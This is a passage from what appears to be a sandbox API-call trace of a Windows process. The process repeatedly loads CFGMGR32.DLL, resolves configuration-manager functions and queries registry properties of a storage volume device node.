lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.920] malloc (_Size=0x18) returned 0x20abc281960 [0241.920] CM_Get_Device_IDA (in: dnDevInst=0x34, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="STORAGE\\VOLUME\\{EBD0D398-C546-11EC-B0BF-806E6F6E6963}#0000000000100000") returned 0x0 [0241.921] malloc (_Size=0x48) returned 0x20abc27cb20 [0241.921] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x4bf55407, dwHighDateTime=0x1d9eb0c)) [0241.921] SetEvent (hEvent=0x248) returned 1 [0241.926] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.926] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.926] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.926] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.928] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.928] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.928] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.928] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.928] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.928] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.929] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.929] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.929] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.929] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.929] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.929] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.930] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.930] malloc (_Size=0x18) returned 0x20abc281a80 [0241.930] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0241.931] malloc (_Size=0x20) returned 0x20abc2a9d30 [0241.931] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9d30, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9d30, pulLength=0x2dc22fd3f8) returned 0x0 [0241.932] free (_Block=0x20abc2a9d30) [0241.932] malloc (_Size=0x48) returned 0x20abc27cb20 [0241.932] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4bf7b9ea, dwHighDateTime=0x1d9eb0c)) [0241.932] SetEvent (hEvent=0x248) returned 1 [0241.936] malloc (_Size=0x18) returned 0x20abc281ce0 [0241.936] SafeArrayPutElement (psa=0x20abbaf16a0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0241.936] free (_Block=0x20abc281ce0) [0241.936] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d770 [0241.936] SafeArrayGetDim (psa=0x20abbaf16a0) returned 0x1 [0241.936] SafeArrayGetLBound (in: psa=0x20abbaf16a0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0241.936] SafeArrayGetUBound (in: psa=0x20abbaf16a0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0241.936] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0241.936] SafeArrayGetDim (psa=0x20abbaf16a0) returned 0x1 [0241.936] SafeArrayGetUBound (in: psa=0x20abbaf16a0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0241.936] SafeArrayGetElemsize (psa=0x20abbaf16a0) returned 0x8 [0241.936] SafeArrayGetElement (in: psa=0x20abbaf16a0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0241.937] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4021d0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0241.938] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0241.938] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d770) returned 1 [0241.939] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.939] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.939] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.939] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.940] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.940] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.940] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.940] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.941] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.941] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.941] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.941] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.941] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.942] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.942] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.942] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.942] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.942] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.942] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.943] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.943] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.943] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.943] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.944] malloc (_Size=0x18) returned 0x20abc281ce0 [0241.944] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0241.944] malloc (_Size=0x48) returned 0x20abc27cb20 [0241.944] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4bfa13aa, dwHighDateTime=0x1d9eb0c)) [0241.945] SetEvent (hEvent=0x248) returned 1 [0241.949] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.949] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.949] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.950] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.950] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.950] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.950] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.950] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.953] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.953] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.953] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.953] malloc (_Size=0x18) returned 0x20abc281bc0 [0241.954] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0242.102] malloc (_Size=0x48) returned 0x20abc27cb20 [0242.102] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4c11e8bc, dwHighDateTime=0x1d9eb0c)) [0242.103] SetEvent (hEvent=0x248) returned 1 [0242.107] malloc (_Size=0xd8) returned 0x20abc284e70 [0242.107] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0242.108] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0242.108] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0242.108] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0242.108] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0242.108] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0242.108] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0242.109] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0242.109] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0242.109] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0242.109] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0242.109] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0242.110] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0242.110] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0242.110] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0242.110] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0242.110] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0242.110] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0242.111] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0242.111] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0242.111] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0242.111] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0242.116] malloc (_Size=0x18) returned 0x20abc281d20 [0242.116] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0242.117] malloc (_Size=0x48) returned 0x20abc27cb20 [0242.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4c14493e, dwHighDateTime=0x1d9eb0c)) [0242.118] SetEvent (hEvent=0x248) returned 1 [0242.122] malloc (_Size=0xd8) returned 0x20abc284e70 [0242.122] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0242.123] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0242.123] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0242.123] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0242.124] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0242.124] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0242.124] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0242.124] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0242.124] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0242.124] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0242.125] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0242.125] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0242.125] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0242.125] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0242.126] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0242.126] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0242.126] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0242.126] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0242.126] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0242.127] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0242.127] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0242.127] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0242.128] malloc (_Size=0x18) returned 0x20abc281ba0 [0242.128] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0242.129] malloc (_Size=0x48) returned 0x20abc27cb20 [0242.129] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4c16ac16, dwHighDateTime=0x1d9eb0c)) [0242.129] SetEvent (hEvent=0x248) returned 1 [0242.134] malloc (_Size=0xd8) returned 0x20abc284e70 [0242.134] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0242.134] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0242.134] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0242.134] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0242.135] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0242.135] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0242.135] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0242.135] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0242.135] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0242.136] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0242.136] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0242.136] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0242.136] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0242.136] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0242.136] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0242.137] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0242.137] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0242.137] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0242.137] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0242.137] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0242.137] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0242.138] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0242.138] malloc (_Size=0x18) returned 0x20abc281f20 [0242.138] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0242.139] malloc (_Size=0x48) returned 0x20abc27cf80 [0242.139] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4c16ac16, dwHighDateTime=0x1d9eb0c)) [0242.139] SetEvent (hEvent=0x248) returned 1 [0242.147] malloc (_Size=0xd8) returned 0x20abc284e70 [0242.147] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0242.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0242.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0242.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0242.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0242.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0242.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0242.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0242.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0242.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0242.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0242.150] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0242.150] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0242.150] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0242.150] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0242.150] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0242.150] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0242.151] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0242.151] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0242.151] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0242.151] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0242.151] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0242.152] malloc (_Size=0x18) returned 0x20abc281ee0 [0242.152] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0242.154] malloc (_Size=0x48) returned 0x20abc27cb20 [0242.155] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4c190d3b, dwHighDateTime=0x1d9eb0c)) [0242.155] SetEvent (hEvent=0x248) returned 1 [0242.406] malloc (_Size=0xd8) returned 0x20abc284e70 [0242.406] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0242.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0242.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0242.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0242.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0242.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0242.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 